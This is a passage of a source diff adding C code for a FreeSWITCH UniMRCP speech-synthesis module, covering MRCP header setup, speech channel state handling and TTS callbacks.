+ * @param msg the MRCP message to set
+ * @param gen_hdr the generic headers to set
+ * @param synth_hdr the synthesizer headers to set
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr)
+{
+	/* loop through each param and add to synth header or vendor-specific-params */
+	switch_hash_index_t *hi = NULL;
+	for (hi = switch_hash_first(NULL, schannel->params); hi; hi = switch_hash_next(hi)) {
+		char *param_name = NULL, *param_val = NULL;
+		const void *key;
+		void *val;
+		switch_hash_this(hi, &key, NULL, &val);
+		param_name = (char *)key;
+		param_val = (char *)val;
+		if (!switch_strlen_zero(param_name) && !switch_strlen_zero(param_val)) {
+			unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
+			if (id) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s: %s\n", schannel->name, param_name, param_val);
+				synth_channel_set_header(schannel, id->id, param_val, msg, synth_hdr);
+			} else {
+				apt_str_t apt_param_name = { 0 };
+				apt_str_t apt_param_val = { 0 };
+
+				/* this is probably a vendor-specific MRCP param */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
+				apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
+				apt_string_set(&apt_param_val, param_val);
+				if (!gen_hdr->vendor_specific_params) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
+					gen_hdr->vendor_specific_params = apt_pair_array_create(10, msg->pool);
+				}
+				apt_pair_array_append(gen_hdr->vendor_specific_params, &apt_param_name, &apt_param_val, msg->pool);
+			}
+		}
+	}
+	
+	if (gen_hdr->vendor_specific_params) {
+		mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Set parameter in a synthesizer MRCP header
+ *
+ * @param schannel the speech channel containing the param
+ * @param id the UniMRCP header enum
+ * @param val the value to set
+ * @param msg the MRCP message to set
+ * @param synth_hdr the synthesizer header to set
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t synth_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_synth_header_t *synth_hdr)
+{
+	switch (id) {
+	case SYNTHESIZER_HEADER_VOICE_GENDER:
+		if (!strcasecmp("male", val)) {
+			synth_hdr->voice_param.gender = VOICE_GENDER_MALE;
+		} else if (!strcasecmp("female", val)) {
+			synth_hdr->voice_param.gender = VOICE_GENDER_FEMALE;
+		} else if (!strcasecmp("neutral", val)) {
+			synth_hdr->voice_param.gender = VOICE_GENDER_NEUTRAL;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice gender, %s\n", schannel->name, val);
+			break;
+		}
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_GENDER);
+		break;
+
+	case SYNTHESIZER_HEADER_VOICE_AGE: {
+		int age = atoi(val);
+		if (age > 0 && age < 1000) {
+			synth_hdr->voice_param.age = age;
+			mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice age, %s\n", schannel->name, val);
+		}
+		break;
+	}
+
+	case SYNTHESIZER_HEADER_VOICE_VARIANT: {
+		int variant = atoi(val);
+		if (variant > 0) {
+			synth_hdr->voice_param.variant = variant;
+			mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice variant, %s\n", schannel->name, val);
+		}
+		break;
+	}
+
+	case SYNTHESIZER_HEADER_VOICE_NAME:
+		apt_string_assign(&synth_hdr->voice_param.name, val, msg->pool);
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_NAME);
+		break;
+
+	case SYNTHESIZER_HEADER_KILL_ON_BARGE_IN:
+		synth_hdr->kill_on_barge_in = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_KILL_ON_BARGE_IN);
+		break;
+
+	case SYNTHESIZER_HEADER_PROSODY_VOLUME:
+		if (switch_isdigit(*val) || *val == '.') {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_NUMERIC;
+			synth_hdr->prosody_param.volume.value.numeric = (float)atof(val);
+		} else if (*val == '+' || *val == '-') {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_RELATIVE_CHANGE;
+			synth_hdr->prosody_param.volume.value.relative = (float)atof(val);
+		} else if (!strcasecmp("silent", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_SILENT;
+		} else if (!strcasecmp("x-soft", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_XSOFT;
+		} else if (!strcasecmp("soft", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_SOFT;
+		} else if (!strcasecmp("medium", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_MEDIUM;
+		} else if (!strcasecmp("loud", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_LOUD;
+		} else if (!strcasecmp("x-loud", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_XLOUD;
+		} else if (!strcasecmp("default", val)) {
+			synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
+			synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_DEFAULT;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid prosody volume, %s\n", schannel->name, val);
+			break;
+		}
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_PROSODY_VOLUME);
+		break;
+
+	case SYNTHESIZER_HEADER_PROSODY_RATE:
+		if (switch_isdigit(*val) || *val == '.') {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_RELATIVE_CHANGE;
+			synth_hdr->prosody_param.rate.value.relative = (float)atof(val);
+		} else if (!strcasecmp("x-slow", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_XSLOW;
+		} else if (!strcasecmp("slow", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_SLOW;
+		} else if (!strcasecmp("medium", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_MEDIUM;
+		} else if (!strcasecmp("fast", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_FAST;
+		} else if (!strcasecmp("x-fast", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_XFAST;
+		} else if (!strcasecmp("default", val)) {
+			synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
+			synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_DEFAULT;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid prosody rate, %s\n", schannel->name, val);
+			break;
+		}
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_PROSODY_RATE);
+		break;
+
+	case SYNTHESIZER_HEADER_SPEECH_LANGUAGE:
+		apt_string_assign(&synth_hdr->speech_language, val, msg->pool);
+		mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_SPEECH_LANGUAGE);
+		break;
+
+	/* unsupported by this module */
+	case SYNTHESIZER_HEADER_JUMP_SIZE:
+	case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
+	case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
+	case SYNTHESIZER_HEADER_COMPLETION_REASON:
+	case SYNTHESIZER_HEADER_SPEECH_MARKER:
+	case SYNTHESIZER_HEADER_FETCH_HINT:
+	case SYNTHESIZER_HEADER_AUDIO_FETCH_HINT:
+	case SYNTHESIZER_HEADER_FAILED_URI:
+	case SYNTHESIZER_HEADER_FAILED_URI_CAUSE:
+	case SYNTHESIZER_HEADER_SPEAK_RESTART:
+	case SYNTHESIZER_HEADER_SPEAK_LENGTH:
+	case SYNTHESIZER_HEADER_LOAD_LEXICON:
+	case SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER:
+	default:
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unsupported SYNTHESIZER_HEADER type\n", schannel->name);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Stop SPEAK/RECOGNIZE request on speech channel
+ * 
+ * @param schannel the channel
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */ 
+static switch_status_t speech_channel_stop(speech_channel_t *schannel)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_mutex_lock(schannel->mutex);
+
+	if (schannel->state == SPEECH_CHANNEL_PROCESSING) {
+		mrcp_method_id method;
+		mrcp_message_t *mrcp_message;
+		if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
+			method = SYNTHESIZER_STOP;
+		} else {
+			method = RECOGNIZER_STOP;
+		} 
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Stopping %s\n", schannel->name, speech_channel_type_to_string(schannel->type));
+		/* Send STOP to MRCP server */
+		mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, method);
+		if (mrcp_message == NULL) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Failed to create STOP message\n", schannel->name);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message);
+		switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+
+		if (schannel->state == SPEECH_CHANNEL_PROCESSING) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Timed out waiting for session to close.  Continuing.\n", schannel->name);
+			schannel->state = SPEECH_CHANNEL_ERROR;
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else if (schannel->state == SPEECH_CHANNEL_ERROR) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Channel error\n", schannel->name);
+			schannel->state = SPEECH_CHANNEL_ERROR;
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s stopped\n", schannel->name, speech_channel_type_to_string(schannel->type));
+	}
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Convert speech channel type into a string
+ *
+ * @param type the speech channel type
+ * @return the speech channel type as a string
+ */
+static const char *speech_channel_type_to_string(speech_channel_type_t type)
+{
+	switch(type) {
+		case SPEECH_CHANNEL_SYNTHESIZER: return "SYNTHESIZER";
+		case SPEECH_CHANNEL_RECOGNIZER: return "RECOGNIZER";
+	}
+
+	return "UNKNOWN";
+}
+
+/**
+ * Set parameter
+ *
+ * @param schannel the speech channel
+ * @param param the parameter to set
+ * @param val the parameter value
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t speech_channel_set_param(speech_channel_t *schannel, const char *param, const char *val)
+{
+	switch_mutex_lock(schannel->mutex);
+	if (!switch_strlen_zero(param) && val != NULL) {
+		/* check if this is a FreeSWITCH param that needs to be translated to an MRCP param: e.g. voice ==> voice-name */
+		char *mrcp_param = (char *)switch_core_hash_find(schannel->application->fs_param_map, param);
+		char *lcparam = NULL;
+		if (switch_strlen_zero(mrcp_param)) {
+			lcparam = switch_lc_strdup(param);
+			mrcp_param = lcparam;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) param = %s, val = %s\n", schannel->name, mrcp_param, val);
+		switch_core_hash_insert(schannel->params, mrcp_param, val);
+		switch_safe_free(lcparam);
+	}
+	switch_mutex_unlock(schannel->mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Write synthesized speech / speech to be recognized
+ *
+ * @param schannel the speech channel
+ * @param data the speech data
+ * @param the number of octets to write / actual number written
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t speech_channel_write(speech_channel_t *schannel, void *data, switch_size_t *len)
+{
+	audio_queue_t *queue = schannel->audio_queue;
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state == SPEECH_CHANNEL_PROCESSING) {
+		audio_queue_write(queue, data, len);
+	}
+	switch_mutex_unlock(schannel->mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Read synthesized speech / speech to be recognized
+ *
+ * @param schannel the speech channel
+ * @param data the speech data
+ * @param the number of octets to read / actual number read
+ * @param block 1 if blocking is allowed
+ * @return SWITCH_STATUS_SUCCESS if successful, SWITCH_STATUS_BREAK if channel is no longer processing
+ */
+static switch_status_t speech_channel_read(speech_channel_t *schannel, void *data, switch_size_t *len, int block)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	audio_queue_t *queue = schannel->audio_queue;
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state == SPEECH_CHANNEL_PROCESSING) {
+		audio_queue_read(queue, data, len, block);
+	} else {
+		status = SWITCH_STATUS_BREAK;
+	}
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Convert channel state to string
+ *
+ * @param state the channel state
+ * @return string representation of the state
+ */
+static const char *speech_channel_state_to_string(speech_channel_state_t state) 
+{
+	switch(state) {
+		case SPEECH_CHANNEL_CLOSED: return "CLOSED";
+		case SPEECH_CHANNEL_READY: return "READY";
+		case SPEECH_CHANNEL_PROCESSING: return "PROCESSING";
+		case SPEECH_CHANNEL_ERROR: return "ERROR";
+	}
+
+	return "UNKNOWN";
+}
+
+/**
+ * Set the current channel state
+ *
+ * @param schannel the channel
+ * @param state the new channel state
+ * @return SWITCH_STATUS_SUCCESS, if successful
+ */
+static switch_status_t speech_channel_set_state(speech_channel_t *schannel, speech_channel_state_t state)
+{
+	switch_status_t status;
+	switch_mutex_lock(schannel->mutex);
+	status = speech_channel_set_state_unlocked(schannel, state);
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Use this function to set the current channel state without locking the 
+ * speech channel.  Do this if you already have the speech channel locked.
+ * 
+ * @param schannel the channel
+ * @param state the new channel state
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t speech_channel_set_state_unlocked(speech_channel_t *schannel, speech_channel_state_t state)
+{
+	if (schannel->state == SPEECH_CHANNEL_PROCESSING && state != SPEECH_CHANNEL_PROCESSING) {
+		/* wake anyone waiting for audio data */
+		audio_queue_clear(schannel->audio_queue);	
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s ==> %s\n", schannel->name, speech_channel_state_to_string(schannel->state), speech_channel_state_to_string(state));
+	schannel->state = state;
+	switch_thread_cond_signal(schannel->cond);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Process speech_open request from FreeSWITCH.  This is expected to be called before every tts request made
+ * with synth_speech_feed_tts(), though the FreeSWITCH code has the option to cache the speech handle between
+ * TTS requests.
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param voice_name the voice to use
+ * @param rate the sampling rate requested
+ * @param flags other options
+ * @return SWITCH_STATUS_SUCCESS if successful, otherwise SWITCH_STATUS_FALSE
+ */
+static switch_status_t synth_speech_open(switch_speech_handle_t *sh, const char *voice_name, int rate, switch_speech_flag_t *flags)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schannel = NULL;
+	const char *profile_name = sh->param;
+	profile_t *profile = NULL;
+	int speech_channel_number = get_next_speech_channel_number();
+	char name[200] = { 0 };
+	
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n",
+						sh->name, sh->rate, sh->speed, sh->samples, sh->voice, sh->engine, sh->param); 
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "voice = %s, rate = %d\n", voice_name, rate);
+
+	/* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't.  So, lets
+		make our own unique name */
+	switch_snprintf(name, sizeof(name) - 1, "TTS-%d", speech_channel_number);
+	name[sizeof(name) - 1] = '\0';
+	
+	/* create channel container with L16 codec (what FreeSWITCH needs) */
+	if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &globals.synth, "L16", (uint16_t)rate, sh->memory_pool) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	sh->private_info = schannel;
+
+	/* try to open an MRCP channel */
+	if (switch_strlen_zero(profile_name)) {
+		profile_name = globals.unimrcp_default_synth_profile;
+	}
+	profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
+	if (!profile) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	if (speech_channel_open(schannel, profile) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* Set session TTS params */
+	if (!switch_strlen_zero(voice_name)) {
+		speech_channel_set_param(schannel, "Voice-Name", voice_name);
+	}
+
+ done:
+
+	return status;
+}
+
+/**
+ * Process speech_close request from FreeSWITCH.  This is called after the TTS request has completed
+ * and FreeSWITCH does not wish to cache the speech handle for another request.
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param flags other options
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t synth_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
+{
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	speech_channel_stop(schannel);
+	speech_channel_destroy(schannel);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Process feed_tts request from FreeSWITCH.  This is called by FreeSWITCH after speech_open.
+ * Send SPEAK request to MRCP server.
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param text the text to speak.  This could be plain text, ssml, vxml, etc...  this function will figure it out.
+ * @param flags other options
+ * @return SWITCH_STATUS_SUCCESS if TTS started successfully, SWITCH_STATUS_FALSE otherwise.
+ */
+static switch_status_t synth_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	
+	if (switch_strlen_zero(text)) {
+		status = SWITCH_STATUS_FALSE;
+	} else {
+		status = synth_channel_speak(schannel, text);
+	}
+	return status;
+}
+
+/**
+ * Process read_tts request from FreeSWITCH.  FreeSWITCH is expecting L16 host byte ordered data.  We must return
+ * exactly what is requested, otherwise FreeSWITCH won't play any audio.  Pad the data with silence, if necessary.
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param data the read data
+ * @param datalen the amount of data requested / amount of data read
+ * @param flags other options
+ * @return SWITCH_STATUS_SUCCESS if data was read, SWITCH_STATUS_BREAK if TTS is done
+ */
+static switch_status_t synth_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	switch_size_t bytes_read;
+	speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
+	bytes_read = *datalen;
+	if (speech_channel_read(schannel, data, &bytes_read, (*flags & SWITCH_SPEECH_FLAG_BLOCKING)) == SWITCH_STATUS_SUCCESS) {
+		/* pad data, if not enough read */
+		if (bytes_read < *datalen) {
+#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) adding %d bytes of padding\n", schannel->name, *datalen - bytes_read);
+#endif
+			memset((uint8_t *)data + bytes_read, schannel->silence, *datalen - bytes_read);
+		}
+	} else {
+		*datalen = 0;
+		status = SWITCH_STATUS_BREAK;
+	}
+
+	return status;
+}
+
+/**
+ * Process flush_tts request from FreeSWITCH.  Interrupt current TTS request with STOP.
+ * This method is called by FreeSWITCH after a TTS request has finished, or if a request needs to be interrupted.
+ *
+ * @param sh the FreeSWITCH speech handle
+ */
+static void synth_speech_flush_tts(switch_speech_handle_t *sh)
+{
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	speech_channel_stop(schannel);
+}
+
+/**
+ * Process text_param_tts request from FreeSWITCH.
+ * Update MRCP session text parameters.
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void synth_speech_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	speech_channel_set_param(schannel, param, val);
+}
+
+/**
+ * Process numeric_param_tts request from FreeSWITCH.
+ * Update MRCP session numeric parameters
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void synth_speech_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	char *val_str = switch_mprintf("%d", val);
+	speech_channel_set_param(schannel, param, val_str);
+	switch_safe_free(val_str);
+}
+
+/**
+ * Process float_param_tts request from FreeSWITCH.
+ * Update MRCP session float parameters
+ *
+ * @param sh the FreeSWITCH speech handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void synth_speech_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+	char *val_str = switch_mprintf("%f", val);
+	speech_channel_set_param(schannel, param, val_str);
+	switch_safe_free(val_str);
+}
+
+/**
+ * Process UniMRCP messages for the synthesizer application.  All MRCP synthesizer callbacks start here first.
+ *
+ * @param app_message the application message
+ */
+static apt_bool_t synth_message_handler(const mrcp_app_message_t *app_message)
+{
+	/* call the appropriate callback in the dispatcher function table based on the app_message received */
+	return mrcp_application_message_dispatch(&globals.synth.dispatcher, app_message);
+}
+
+/**
+ * Handle the UniMRCP responses sent to session terminate requests 
+ *
+ * @param application the MRCP application
+ * @param session the MRCP session
+ * @param status the result of the session terminate request
+ * @return TRUE
+ */
+static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	speech_channel_t *schannel = (speech_channel_t *)mrcp_application_session_object_get(session);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Destroying MRCP session\n", schannel->name);
+	mrcp_application_session_destroy(session);
+	speech_channel_set_state(schannel, SPEECH_CHANNEL_CLOSED);
+
+	return TRUE;
+}
+
+/**
+ * Handle the UniMRCP responses sent to channel add requests 
+ *
+ * @param application the MRCP application
+ * @param session the MRCP session
+ * @param channel the MRCP channel
+ * @param status the result of the channel add request
+ * @return TRUE
+ */
+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	speech_channel_t *schannel =  (speech_channel_t *)mrcp_application_channel_object_get(channel);
+	if (session && schannel && status == MRCP_SIG_STATUS_CODE_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is ready\n", schannel->name, speech_channel_type_to_string(schannel->type));
+		speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+	} else {
+		if (schannel) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) %s channel error!\n", schannel->name, speech_channel_type_to_string(schannel->type));
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(unknown) channel error!\n");
+		}
+		if (session) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Terminating MRCP session\n");
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+			mrcp_application_session_terminate(session);
+		}
+	}
+
+	return TRUE;
+}
+
+/**
+ * Handle the UniMRCP responses sent to channel remove requests
+ *
+ * @param application the MRCP application
+ * @param session the MRCP session
+ * @param channel the MRCP channel
+ * @param status the result of the channel remove request
+ * @return TRUE
+ */
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is removed\n", schannel->name, speech_channel_type_to_string(schannel->type));
+	schannel->unimrcp_channel = NULL;
+	
+	if (session) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Terminating MRCP session\n", schannel->name);
+		mrcp_application_session_terminate(session);
+	}
+
+	return TRUE;
+}
+
+/**
+ * Handle the MRCP synthesizer responses/events from UniMRCP
+ *
+ * @param application the MRCP application
+ * @param session the MRCP session
+ * @param channel the MRCP channel
+ * @param message the MRCP message
+ * @return TRUE
+ */
+static apt_bool_t synth_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+	if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* received MRCP response */
+		if (message->start_line.method_id == SYNTHESIZER_SPEAK) {
+			/* received the response to SPEAK request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+				/* waiting for SPEAK-COMPLETE event */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) REQUEST IN PROGRESS\n", schannel->name);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_PROCESSING);
+			} else {
+				/* received unexpected request_state */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected SPEAK response, request_state = %d\n", schannel->name, message->start_line.request_state);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+			}
+		} else if (message->start_line.method_id == SYNTHESIZER_STOP) {
+			/* received response to the STOP request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				/* got COMPLETE */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) COMPLETE\n", schannel->name);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+			} else {
+				/* received unexpected request state */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP response, request_state = %d\n", schannel->name, message->start_line.request_state);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+			}
+		} else {
+			/* received unexpected response */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+		}
+	} else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		/* received MRCP event */
+		if (message->start_line.method_id == SYNTHESIZER_SPEAK_COMPLETE) {
+			/* got SPEAK-COMPLETE */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SPEAK-COMPLETE\n", schannel->name);
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
